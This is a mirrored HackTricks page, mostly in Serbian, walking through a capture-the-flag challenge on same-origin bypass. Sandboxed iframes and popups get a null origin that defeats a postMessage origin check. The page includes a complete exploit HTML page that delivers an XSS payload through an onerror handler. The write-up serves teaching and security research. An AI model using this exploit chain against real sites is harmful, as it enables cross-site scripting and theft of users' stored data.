mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-29 16:10:54 +00:00
98 lines
5.5 KiB
Markdown
98 lines
5.5 KiB
Markdown
# Bypassing SOP with Iframes - 1
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
## Iframes in SOP-1
|
|
|
|
U ovom [**izazovu**](https://github.com/terjanq/same-origin-xss) koji su kreirali [**NDevTK**](https://github.com/NDevTK) i [**Terjanq**](https://github.com/terjanq) potrebno je da iskoristite XSS u kodiranom
|
|
```javascript
|
|
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
|
onmessage = e => {
|
|
const data = e.data;
|
|
if (e.origin !== window.origin && data.identifier !== identifier) return;
|
|
if (data.type === 'render') {
|
|
renderContainer.innerHTML = data.body;
|
|
}
|
|
}
|
|
```
|
|
Glavni problem je što glavna stranica koristi DomPurify za slanje `data.body`, tako da da biste poslali svoje vlastite html podatke toj funkciji, morate **bypass** `e.origin !== window.origin`.
|
|
|
|
Hajde da vidimo rešenje koje predlažu.
|
|
|
|
### SOP bypass 1 (e.origin === null)
|
|
|
|
Kada je `//example.org` ugrađen u **sandboxed iframe**, tada će **origin** stranice biti **`null`**, tj. **`window.origin === null`**. Tako da samo ugrađivanjem iframe-a putem `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` možemo **prisiliti `null` origin**.
|
|
|
|
Ako je stranica bila **embeddable**, mogli biste na taj način zaobići tu zaštitu (kolačići takođe mogu biti postavljeni na `SameSite=None`).
|
|
|
|
### SOP bypass 2 (window.origin === null)
|
|
|
|
Manje poznata činjenica je da kada je **sandbox vrednost `allow-popups` postavljena**, tada će **otvoreni popup** **naslediti** sve **sandboxed atribute** osim ako `allow-popups-to-escape-sandbox` nije postavljen.\
|
|
Dakle, otvaranje **popupa** iz **null origin** će učiniti da **`window.origin`** unutar popupa takođe bude **`null`**.
|
|
|
|
### Rešenje izazova
|
|
|
|
Stoga, za ovaj izazov, može se **napraviti** **iframe**, **otvoriti popup** na stranicu sa ranjivim XSS kodom (`/iframe.php`), pošto je `window.origin === e.origin` jer su oba `null`, moguće je **poslati payload koji će iskoristiti XSS**.
|
|
|
|
Taj **payload** će dobiti **identifikator** i poslati **XSS** **nazad na glavnu stranicu** (stranicu koja je otvorila popup), **koja** će **promeniti lokaciju** na **ranjivi** `/iframe.php`. Pošto je identifikator poznat, nije važno što uslov `window.origin === e.origin` nije ispunjen (zapamtite, origin je **popup** iz iframe-a koji ima **origin** **`null`**) jer `data.identifier === identifier`. Tada će se **XSS ponovo aktivirati**, ovaj put u ispravnom originu.
|
|
```html
|
|
<body>
|
|
<script>
|
|
f = document.createElement('iframe');
|
|
|
|
// Needed flags
|
|
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
|
|
|
|
// Second communication with /iframe.php (this is the top page relocated)
|
|
// This will execute the alert in the correct origin
|
|
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
|
|
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
|
|
},1000);`.replaceAll('\n',' ');
|
|
|
|
// Initial communication
|
|
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
|
|
// Then, bypass window.origin === e.origin to steal the identifier and communicate
|
|
// with the top with the second XSS payload
|
|
f.srcdoc = `
|
|
<h1>Click me!</h1>
|
|
<script>
|
|
onclick = e => {
|
|
let w = open('https://so-xss.terjanq.me/iframe.php');
|
|
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
|
|
setTimeout(_ => {
|
|
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
|
|
}, 1000);
|
|
};
|
|
<\/script>
|
|
`
|
|
document.body.appendChild(f);
|
|
</script>
|
|
</body>
|
|
```
|
|
{% hint style="success" %}
|
|
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Podržite HackTricks</summary>
|
|
|
|
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
|
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
|
|
|
</details>
|
|
{% endhint %}
|